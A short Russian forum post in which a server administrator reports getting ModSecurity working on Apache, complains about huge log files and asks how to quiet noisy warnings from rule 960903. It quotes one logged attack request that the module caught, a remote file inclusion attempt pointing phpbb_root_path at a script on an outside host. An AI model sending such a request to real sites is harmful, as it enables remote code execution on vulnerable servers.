После новогодней паузы, занялся опять апачем. Один этап прошел! Спасибо всем за поддержку
Мод секурити запустил и работает. Проблема была, что еще один путь поиска в майк файл добавить надо было. Попутно нашел еще один лог файл под гигабайт от апачей. Он оказыватся в двух местах пишет лог. Теперь надо хороший анализатор найти. Один нашел, он таких больших файлов не любит.
Кстати мод секурити за пару часов работы выловил уже одно покушение
GET /modules.php?name=News&file=article&sid=29/language/lang_english/lang_main_album.php?phpbb_root_path=http://forum.xxx.net/images/avatars/.as./figo.txt
правда вот логи засираются предпреждениями типа
modules.php][2] Warning. Operator EQ match: 0. [id "960903"] [msg "ModSecurity does not support content encodings"] [severity "WARNING"]
[rid#845cfb0][/modules.php][3] Could not set variable "resource.alerted_960903_compression" as the collection does not exist.
Пока есть только идея поискать в правилах 960903 и убить их. Есть ли лучший способ уменьшить логи мод секурити?